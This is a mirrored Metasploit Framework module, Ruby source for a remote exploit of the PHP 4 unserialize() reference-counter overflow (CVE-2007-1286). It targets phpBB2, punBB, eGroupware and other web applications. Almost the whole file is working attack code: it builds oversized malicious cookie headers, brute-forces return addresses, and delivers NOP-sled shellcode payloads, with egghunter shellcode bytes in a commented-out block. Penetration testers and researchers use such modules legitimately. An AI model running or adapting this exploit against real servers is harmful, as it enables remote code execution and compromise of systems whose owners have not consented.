CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/php/php_unserialize_zval_cookie.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::Brute
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',
16
'Description' => %q{
17
This module exploits an integer overflow vulnerability in the unserialize()
18
function of the PHP web server extension. This vulnerability was patched by
19
Stefan in version 4.5.0 and applies all previous versions supporting this function.
20
This particular module targets numerous web applications and is based on the proof
21
of concept provided by Stefan Esser. This vulnerability requires approximately 900k
22
of data to trigger due the multiple Cookie headers requirement. Since we
23
are already assuming a fast network connection, we use a 2Mb block of shellcode for
24
the brute force, allowing quick exploitation for those with fast networks.
25
26
One of the neat things about this vulnerability is that on x86 systems, the EDI register points
27
into the beginning of the hashtable string. This can be used with an egghunter to
28
quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction
29
is known. The EDI method is faster, but the bandwidth-intensive brute force used by this
30
module is more reliable across a wider range of systems.
31
},
32
'Author' =>
33
[
34
'hdm', # module development
35
'GML <grandmasterlogic[at]gmail.com>', # module development and debugging
36
'Stefan Esser <sesser[at]hardened-php.net>' # discovered, patched, exploited
37
],
38
'License' => MSF_LICENSE,
39
'References' =>
40
[
41
['CVE', '2007-1286'],
42
['OSVDB', '32771'],
43
['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html'],
44
],
45
'Privileged' => false,
46
'Payload' =>
47
{
48
'Space' => 1024,
49
},
50
'Platform' => %w{ linux },
51
'Targets' =>
52
[
53
54
#
55
# 64-bit SuSE: 0x005c0000
56
# Backtrack 2.0: 0xb797a000
57
# Gentoo: 0xb6900000
58
#
59
[ 'Linux x86 Generic',
60
{
61
'Platform' => 'linux',
62
'Arch' => [ ARCH_X86 ],
63
'Bruteforce' =>
64
{
65
'Start' => { 'Ret' => 0xb6000400 },
66
'Stop' => { 'Ret' => 0xbfff0000 },
67
'Step' => 1024*1024
68
}
69
}
70
],
71
[ 'Linux x86 phpBB2',
72
{
73
'DefaultCookie' => 'phpbb2mysql_data',
74
'DefaultURI' => '/phpBB2/faq.php',
75
'Signature' => /Powered\s+by.*phpBB/,
76
'Platform' => 'linux',
77
'Arch' => [ ARCH_X86 ],
78
'Bruteforce' =>
79
{
80
'Start' => { 'Ret' => 0xb6000400 },
81
'Stop' => { 'Ret' => 0xbfff0000 },
82
'Step' => 1024*1024
83
}
84
}
85
],
86
[ 'Linux x86 punBB',
87
{
88
'DefaultCookie' => 'punbb_cookie',
89
'DefaultURI' => '/index.php',
90
'Signature' => /Powered\s+by.*PunBB/,
91
'Platform' => 'linux',
92
'Arch' => [ ARCH_X86 ],
93
'Bruteforce' =>
94
{
95
'Start' => { 'Ret' => 0xb6000400 },
96
'Stop' => { 'Ret' => 0xbfff0000 },
97
'Step' => 1024*1024
98
}
99
}
100
],
101
[ 'Linux x86 WWWThreads',
102
{
103
'DefaultCookie' => 'forum_cookie',
104
'DefaultURI' => '/index.php',
105
'Signature' => /Powered\s+by.*WWWThreads/,
106
'Platform' => 'linux',
107
'Arch' => [ ARCH_X86 ],
108
'Bruteforce' =>
109
{
110
'Start' => { 'Ret' => 0xb6000400 },
111
'Stop' => { 'Ret' => 0xbfff0000 },
112
'Step' => 1024*1024
113
}
114
}
115
],
116
[ 'Linux x86 Deadman Redirect',
117
{
118
'DefaultCookie' => 'authcookie',
119
'DefaultURI' => '/dmr/dmr.php',
120
'Signature' => /document\.f\.userdata\.focus/,
121
'Platform' => 'linux',
122
'Arch' => [ ARCH_X86 ],
123
'Bruteforce' =>
124
{
125
'Start' => { 'Ret' => 0xb6000400 },
126
'Stop' => { 'Ret' => 0xbfff0000 },
127
'Step' => 1024*1024
128
}
129
}
130
],
131
[ 'Linux x86 PhpWebGallery',
132
{
133
'DefaultCookie' => 'pwg_remember',
134
'DefaultURI' => '/phpwebgallery/index.php',
135
'Signature' => /Powered\s+by.*phpwebgallery/msi,
136
'Platform' => 'linux',
137
'Arch' => [ ARCH_X86 ],
138
'Bruteforce' =>
139
{
140
'Start' => { 'Ret' => 0xb6000400 },
141
'Stop' => { 'Ret' => 0xbfff0000 },
142
'Step' => 1024*1024
143
}
144
}
145
],
146
[ 'Linux x86 Ariadne-CMS',
147
{
148
'DefaultCookie' => 'ARCookie',
149
'DefaultURI' => '/ariadne/loader.php/',
150
'Signature' => /Ariadne is free software/,
151
'Platform' => 'linux',
152
'Arch' => [ ARCH_X86 ],
153
'Bruteforce' =>
154
{
155
'Start' => { 'Ret' => 0xb6000400 },
156
'Stop' => { 'Ret' => 0xbfff0000 },
157
'Step' => 1024*1024
158
}
159
}
160
],
161
[ 'Linux x86 ProMA',
162
{
163
'DefaultCookie' => 'proma',
164
'DefaultURI' => '/proma/index.php',
165
'Signature' => /Change Account Information/,
166
'Platform' => 'linux',
167
'Arch' => [ ARCH_X86 ],
168
'Bruteforce' =>
169
{
170
'Start' => { 'Ret' => 0xb6000400 },
171
'Stop' => { 'Ret' => 0xbfff0000 },
172
'Step' => 1024*1024
173
}
174
}
175
],
176
[ 'Linux x86 eGroupware',
177
{
178
'DefaultCookie' => 'eGW_remember',
179
'DefaultURI' => '/egroupware/login.php',
180
'Signature' => /www.egroupware.org/,
181
'Platform' => 'linux',
182
'Arch' => [ ARCH_X86 ],
183
'Bruteforce' =>
184
{
185
'Start' => { 'Ret' => 0xb6000400 },
186
'Stop' => { 'Ret' => 0xbfff0000 },
187
'Step' => 1024*1024
188
}
189
}
190
]
191
],
192
'DisclosureDate' => '2007-03-04'))
193
194
register_options(
195
[
196
OptString.new('URI', [false, "The path to vulnerable PHP script"]),
197
OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"])
198
])
199
end
200
201
202
def check
203
vprint_status("Checking for a vulnerable PHP version...")
204
205
#
206
# Pick the URI and Cookie name
207
#
208
cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
209
uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']
210
211
if(not cookie_name)
212
fail_with(Failure::Unknown, "The COOKIENAME option must be set")
213
end
214
215
if(not uri_path)
216
fail_with(Failure::Unknown, "The URI option must be set")
217
end
218
219
res = send_request_cgi({
220
'uri' => uri_path,
221
'method' => 'GET'
222
}, 5)
223
224
php_bug = false
225
226
if (not res)
227
vprint_status("No response from the server")
228
return Exploit::CheckCode::Unknown # User should try again
229
end
230
231
http_fingerprint({ :response => res }) # check method
232
233
if (res.code != 200)
234
vprint_status("The server returned #{res.code} #{res.message}")
235
return Exploit::CheckCode::Safe
236
end
237
238
if (
239
(res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /PHP\/(.*)/) or
240
(res.headers['Server'] and res.headers['Server'] =~ /PHP\/(.*)/)
241
)
242
243
php_raw = $1
244
php_ver = php_raw.split('.')
245
246
if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)
247
vprint_status("The server runs a vulnerable version of PHP (#{php_raw})")
248
php_bug = true
249
else
250
vprint_status("The server runs a non-vulnerable version of PHP (#{php_raw})")
251
return Exploit::CheckCode::Safe
252
end
253
end
254
255
# Detect the phpBB cookie name
256
if res.get_cookies =~ /(.*)_(sid|data)=/
257
vprint_status("The server may require a cookie name of '#{$1}_data'")
258
end
259
260
if(target and target['Signature'])
261
if (res.body and res.body.match(target['Signature']))
262
vprint_status("Detected target #{target.name}")
263
else
264
vprint_status("Did not detect target #{target.name}")
265
end
266
267
end
268
269
return php_bug ? Exploit::CheckCode::Appears : Exploit::CheckCode::Detected
270
end
271
272
273
def brute_exploit(target_addrs)
274
275
zvalref = encode_semis('i:0;R:2;')
276
277
#
278
# Use this if we decide to do 'jmp edi' returns vs brute force
279
#
280
=begin
281
# Linux specific egg-hunter
282
tagger = "\x90\x50\x90\x50"
283
hunter =
284
"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
285
"\x3c\xf2\x74\xf1\xb8" +
286
tagger +
287
"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"
288
289
egghunter = "\xcc" * 39
290
egghunter[0, hunter.length] = hunter
291
292
hashtable = "\xcc" * 39
293
hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes
294
295
hashtable[20, 4] = [target_addrs['Ret']].pack('V')
296
hashtable[32, 4] = [target_addrs['Ret']].pack('V')
297
=end
298
299
#
300
# Just brute-force addresses for now
301
#
302
tagger = ''
303
egghunter = rand_text_alphanumeric(39)
304
hashtable = rand_text_alphanumeric(39)
305
hashtable[20, 4] = [target_addrs['Ret']].pack('V')
306
hashtable[32, 4] = [target_addrs['Ret']].pack('V')
307
308
309
#
310
# Pick the URI and Cookie name
311
#
312
cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
313
uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']
314
315
if(not cookie_name)
316
fail_with(Failure::Unknown, "The COOKIENAME option must be set")
317
end
318
319
if(not uri_path)
320
fail_with(Failure::Unknown, "The URI option must be set")
321
end
322
323
# Generate and reuse the original buffer to save CPU
324
if (not @saved_cookies)
325
326
# Building the malicious request
327
print_status("Creating the request...")
328
329
# Create the first cookie header to get this started
330
cookie_fun = "Cookie: #{cookie_name}="
331
cookie_fun << Rex::Text.uri_encode(
332
'a:100000:{s:8:"' +
333
rand_text_alphanumeric(8) +
334
'";a:3:{s:12:"' +
335
rand_text_alphanumeric(12) +
336
'";a:1:{s:12:"' +
337
rand_text_alphanumeric(12) +
338
'";i:0;}s:12:"' +
339
rand_text_alphanumeric(12) +
340
'";'+
341
'i:0;s:12:"' +
342
rand_text_alphanumeric(12) +
343
'";i:0;}'
344
)
345
cookie_fun << zvalref * 500
346
cookie_fun << Rex::Text.uri_encode('s:2:"')
347
cookie_fun << "\r\n"
348
349
refcnt = 1000
350
refmax = 65535
351
352
# Keep adding cookie headers...
353
while(refcnt < refmax)
354
355
chead = 'Cookie: ';
356
chead << encode_semis('";N;')
357
358
# Stay within the 8192 byte limit
359
0.upto(679) do |i|
360
break if refcnt >= refmax
361
refcnt += 1
362
363
chead << zvalref
364
end
365
chead << encode_semis('s:2:"')
366
cookie_fun << chead + "\r\n"
367
end
368
369
# The final header, including the hashtable with return address
370
cookie_fun << "Cookie: "
371
cookie_fun << Rex::Text.uri_encode('";N;')
372
cookie_fun << zvalref * 500
373
374
@saved_cookies = cookie_fun
375
end
376
377
# Generate and reuse the payload to save CPU time
378
if (not @saved_payload)
379
@saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)
380
end
381
382
cookie_addrs = Rex::Text.uri_encode(
383
's:39:"' + egghunter + '";s:39:"'+ hashtable +'";i:0;R:3;'
384
) + "\r\n"
385
386
print_status("Trying address 0x%.8x..." % target_addrs['Ret'])
387
res = send_request_cgi({
388
'uri' => uri_path,
389
'method' => 'POST',
390
'raw_headers' => @saved_cookies + cookie_addrs,
391
'data' => @saved_payload
392
}, 1)
393
394
395
if res
396
failed = false
397
398
print_status("Received a response: #{res.code} #{res.message}")
399
400
if (res.code != 200)
401
print_error("The server returned a non-200 response, indicating that the exploit failed")
402
failed = true
403
end
404
405
if (not failed and (res.body and res.body.length > 0))
406
print_error("The server returned a real response, indicating that the exploit failed")
407
failed = true
408
end
409
410
if (failed)
411
print_status("Please verify the URI and COOKIENAME parameters.")
412
print_line('')
413
print_line("*" * 40)
414
print_line(res.body)
415
print_line("*" * 40)
416
print_line('')
417
418
fail_with(Failure::Unknown, "Exploit settings are probably wrong")
419
end
420
else
421
print_status("No response from the server")
422
end
423
424
end
425
426
def encode_semis(str)
427
str.gsub(';') { |s| sprintf("%%%.2x", s[0]) }
428
end
429
end
430
431